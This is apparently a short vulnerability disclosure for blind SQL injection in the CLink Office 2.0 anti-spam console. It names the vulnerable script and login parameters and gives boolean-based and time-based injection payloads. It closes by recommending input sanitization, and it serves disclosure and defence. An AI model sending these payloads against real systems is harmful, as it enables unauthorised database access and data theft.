CLink Office 2.0 SQL Injection

CLink Office version 2.0 anti-spam management console suffers from a remote SQL injection vulnerability.


SHA-256 | 9676058a709b31daa10982fa1a10ec1523f7cda27a0244b0cd46de826a9d9647

# Exploit Title: Multiple blind SQL injection vulnerabilities in in CLink Office 2.0 Anti-Spam management console 
# Date: 30 Mar 2022
# Exploit Author: Erwin Chan, Stephen Tsoi
# Vendor Homepage: https://www.communilink.net/
# Softwar: CLink Office
# Version: 2.0
# Tested on: CLink Office 2.0 Anti-Spam management console

Vulnerability details below:

Affected URL: /cgi-bin/anti-spam.pl
Affected Parameter: username, password
Payload example:
- boolean-based blind SQLi
* ' AND 1234=(SELECT (CASE WHEN (TRUE) THEN 1234 ELSE (SELECT 1111 UNION
SELECT 2222) END))-- LMgx*
*' AND 1234=(SELECT (CASE WHEN (FALSE) THEN 1234 ELSE (SELECT 1111 UNION
SELECT 2222) END))-- LMgx*
- time-based blind SQLi
*' OR SLEEP(5)-- LMgx*

As a result, we were able to dump database data on application. I recommend
development team to perform input sanitization on affected parameters.
Please lets me know if you have any questions. Thanks.


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